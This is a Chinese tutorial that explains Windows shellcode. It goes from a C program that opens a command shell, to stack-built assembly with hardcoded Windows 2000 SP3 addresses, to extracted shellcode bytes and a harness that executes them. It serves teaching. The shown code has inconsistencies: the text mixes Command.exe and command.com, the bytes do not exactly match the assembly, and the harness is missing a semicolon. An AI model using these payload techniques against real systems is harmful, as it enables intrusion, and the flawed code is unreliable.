ShellCode简介和编写步骤
从以前的文章和别人的攻击代码中可以知道,ShellCode是以“/xFF/x3A/x45/x72……”的形式出现在程序中的,而Exploit的构造就是想方设法地使计算机能转到我们的ShellCode上来,去执行“/xFF/x3A/x45/x72……”――由此看出,ShellCode才是Exploit攻击的真正主宰(就如同独行者是我们文章的主宰一样)。而ShellCode的“/xFF/x3A/x45/x72……”那些值,其实是机器码的形式,和一般程序在内存里面存的东东是没什么两样的,攻击程序把内存里面的数据动态改成ShellCode的值,再跳过去执行,就如同执行一个在内存中的一般程序一样,只不过完成的是我们的功能,溢出攻击就这样实现了。
在此可以下个定义:ShellCode就是一段程序的机器码形式,而ShellCode的编写过程,就是得到我们想要程序的机器码的过程。
当然ShellCode的特殊性和Windows下函数调用的特点,决定了和一般的汇编程序有所不同。所以其编写步骤应该是,
1.构想ShellCode的功能;
2.用C语言验证实现;
3.根据C语言实现,改成带有ShellCode特点的汇编;
4.最后得到机器码形式的ShellCode。
其中最重要的是第三步――改成有ShellCode特点的汇编,将在本文的后面讲到。
首先第一步是构想ShellCode的功能。我们想要的功能可能是植入木马,杀掉防火墙,倒流时光,发电磁波找外星人等等(WTF:咳……),但最基本的功能,还是希望开一个DOS窗口,那我们可以在DOS窗口中做很多事情,所以先介绍开DOS窗口ShellCode的写法吧。
C语言代码
比如下面这个程序就可以完成开DOS窗口的功能,大家详细看下注释:
#include <windows.h>
#include <winbase.h>
typedef void (*MYPROC)(LPTSTR); //定义函数指针
int main()
{
HINSTANCE LibHandle;
MYPROC ProcAdd;
LibHandle = LoadLibrary(“msvCRT.dll”);
ProcAdd = (MYPROC) GetProcAddress(LibHandle, "system"); //查找System函数地址
(ProcAdd) ("command.com"); //其实就是执行System(“command.com”)
return 0;
}
其实执行System(“command.com”)也可以完成开DOS窗口的功能,写成这么复杂是有原因的,解释一下该程序:首先Typedef void (*MYPROC)(LPTSTR)是定义一个函数指针类型,该类型的函数参数为是字符串,返回值为空。接着定义MYPROC ProcAdd,使ProcAdd为指向参数为是字符串,返回值为空的函数指针;使用LoadLibrary(“msvcrt.dll”);装载动态链接库msvcrt.dll;再使用ProcAdd = (MYPROC) GetProcAddress(LibHandle, System)获得 System的真实地址并赋给ProcAdd,之后ProcAdd里存的就是System函数的地址,以后使用这个地址来调用System函数;最后(ProcAdd) ("command.com")就是调用System("command.com"),可以获得一个DOS窗口。在窗口中我们可以执行Dir,Copy等命令。如下图1所示。
图1
获得函数的地址
程序中用GetProcAddress函数获得System的真实地址,但地址究竟是多少,如何查看呢?
在VC中,我们按F10进入调试状态,然后在Debug工具栏中点最后一个按钮Disassemble和第四个按钮Registers,这样出现了源程序的汇编代码和寄存器状态窗口,如图2所示
图2
继续按F10执行,直到到ProcAdd = (MYPROC) GetProcAddress(LibHandle, "System")语句下的Cll dword ptr [__imp__GetProcAddress@8 (00424194)]执行后,EAX变为7801AFC3,说明在我的机器上System( )函数的地址是0x7801AFC3。如图3所示。
图3
WTF:注意本次测试中读者的机器是Windows 2000 SP3,不同环境可能地址不同。
为什么EAX就是System( )函数的地址呢?那是因为函数执行的返回值,在汇编下通常是放在EAX中的,这算是计算机系统的约定吧,所以GetProcAddress(”System”)的返回值(System函数的地址),就在EAX中,为0x7801AFC3。
Windows下函数的调用原理
为什么要这么麻烦的得到System函数的地址呢?这是因为在Windows下,函数的调用方法是先将参数从右到左压入堆栈,然后Call该函数的地址。比如执行函数Fun(argv1, argv2),先把参数从右到左压入堆栈,这里就是依次把argv2,argv1压入堆栈里,然后Call Fun函数的地址。这里的Call Fun函数地址,其实等于两步,一是把保存当前EIP,二是跳到Func函数的地址执行,即Push EIP + Jmp Fun。其过程如下图4所示。
图4
同理,我们要执行System("command.com"):首先参数入栈,这里只有一个参数,所以就把Command.com的地址压入堆栈,注意是Command.com字符串的地址;然后Call System函数的地址,就完成了执行。如图5所示。
图5
构造有ShellCode特点的汇编
明白了Windows函数的执行原理,我们要执行System(“Command.exe”),就要先把Command.exe字符串的地址入栈,但Command.exe字符串在哪儿呢?内存中可能没有,但我们可以自己构造!
我们把‘Command.exe’一个字符一个字符的赋给堆栈,这样‘Command.exe’字符串就有了,而栈顶的指针ESP正好是Command.exe字符串的地址,我们Push esp,就完成了参数――Command.exe字符串的地址入栈。如下图6所示。
图6
参数入栈了,然后该Call System函数的地址。刚才已经看到,在Windows 2000 SP3上,System函数的地址为0x7801AFC3,所以Call 0x7801AFC3就行了。
把思路合起来,可以写出执行System(“Command.exe”)的带有ShellCode特点的汇编代码如下。
mov esp,ebp ;
push ebp ;
mov ebp,esp ; 把当前esp赋给ebp
xor edi,edi ;
push edi ;压入0,esp-4,; 作用是构造字符串的结尾/0字符。
sub esp,08h ;加上上面,一共有12个字节,;用来放"command.com"。
mov byte ptr [ebp-0ch],63h ; c
mov byte ptr [ebp-0bh],6fh ; o
mov byte ptr [ebp-0ah],6dh ; m
mov byte ptr [ebp-09h],6Dh ; m
mov byte ptr [ebp-08h],61h ; a
mov byte ptr [ebp-07h],6eh ; n
mov byte ptr [ebp-06h],64h ; d
mov byte ptr [ebp-05h],2Eh ; .
mov byte ptr [ebp-04h],63h ; c
mov byte ptr [ebp-03h],6fh ; o
mov byte ptr [ebp-02h],6dh ; m一个一个生成串"command.com".
lea eax,[ebp-0ch] ;
push eax ; command.com串地址作为参数入栈
mov eax, 0x7801AFC3 ;
call eax ; call System函数的地址
明白了原理再看实现,是不是清楚了很多呢?
提取ShellCode
首先来验证一下,在VC中可以用__asm关键字插入汇编,我们把System(“Command.exe”)用我们写的汇编替换,LoadLibrary先不动,然后执行,成功!弹出了我们想要的DOS窗口。如下图7所示。
图7
同样的道理,LoadLibrary(“msvcrt.dll”)也仿照上面改成汇编,注意LoadLibrary在Windows 2000 SP3上的地址为0x77e69f64。把两段汇编合起来,将其编译、链接、执行,也成功了!如下图8所示。
图8
有了上面的工作,提取ShellCode就只剩下体力活了。我们对刚才的全汇编的程序,按F10进入调试,接着按下Debug工具栏的Disassembly按钮,点右键,在弹出菜单中选中Code Bytes,就出现汇编对应的机器码。因为汇编可以完全完成我们的功能,所以我们把汇编对应的机器码原封不动抄下来,就得到我们想要的ShellCode了。提取出来的ShellCode如下。
unsigned char shellcode[] =
"/x55/x8B/xEC/x33/xC0/x50/x50/x50/xC6/x45/xF4/x4D/xC6/x45/xF5/x53"
"/xC6/x45/xF6/x56/xC6/x45/xF7/x43/xC6/x45/xF8/x52/xC6/x45/xF9/x54/xC6/x45/xFA/x2E/xC6"
"/x45/xFB/x44/xC6/x45/xFC/x4C/xC6/x45/xFD/x4C/xBA"
"/x64/x9f/xE6/x77" //sp3 loadlibrary地址0x77e69f64
"/x52/x8D/x45/xF4/x50"
"/xFF/x55/xF0"
"/x55/x8B/xEC/x83/xEC/x2C/xB8/x63/x6F/x6D/x6D/x89/x45/xF4/xB8/x61/x6E/x64/x2E"
"/x89/x45/xF8/xB8/x63/x6F/x6D/x22/x89/x45/xFC/x33/xD2/x88/x55/xFF/x8D/x45/xF4"
"/x50/xB8"
"/xc3/xaf/x01/x78" //sp3 System地址0x7801afc3
"/xFF/xD0";
验证ShellCode
最后要验证提取出来的ShellCode能否完成我们的功能。在以前的文章中已经说过方法,只需要新建一个工程和c源文件,然后把ShellCode部分拷下来,存为一个数组,最后在main中添上( (void(*)(void)) &shellcode )(),如下:
unsigned char shellcode[] =
"/x55/x8B/xEC/x33/xC0/x50/x50/x50/xC6/x45/xF4/x4D/xC6/x45/xF5/x53"
"/xC6/x45/xF6/x56/xC6/x45/xF7/x43/xC6/x45/xF8/x52/xC6/x45/xF9/x54/xC6/x45/xFA/x2E/xC6"
"/x45/xFB/x44/xC6/x45/xFC/x4C/xC6/x45/xFD/x4C/xBA"
"/x64/x9f/xE6/x77" //sp3 loadlibrary地址0x77e69f64
"/x52/x8D/x45/xF4/x50"
"/xFF/x55/xF0"
"/x55/x8B/xEC/x83/xEC/x2C/xB8/x63/x6F/x6D/x6D/x89/x45/xF4/xB8/x61/x6E/x64/x2E"
"/x89/x45/xF8/xB8/x63/x6F/x6D/x22/x89/x45/xFC/x33/xD2/x88/x55/xFF/x8D/x45/xF4"
"/x50/xB8"
"/xc3/xaf/x01/x78" //sp3 System地址0x7801afc3
"/xFF/xD0";
int main()
{
( (void(*)(void)) &shellcode )()
return 0;
}
( (void(*)(void)) &shellcode )()这句话是关键,它把ShellCode转换成一个参数为空,返回为空的函数指针,并调用它。执行那句就相当于执行ShellCode数组里的那些数据。如果ShellCode正确,就会完成我们想要的功能,出现一个DOS窗口。我们亲自编写的第一个ShellCode成功完成!
小结
这个ShellCode的功能还比较单薄,而且通用性也待进一步研究,但的确是一个由我们亲自打造出来的ShellCode,而且现实中的ShellCode也是这样写出来的。只要我们掌握了基本的方法,以后就可以在广阔的空间中自由翱翔!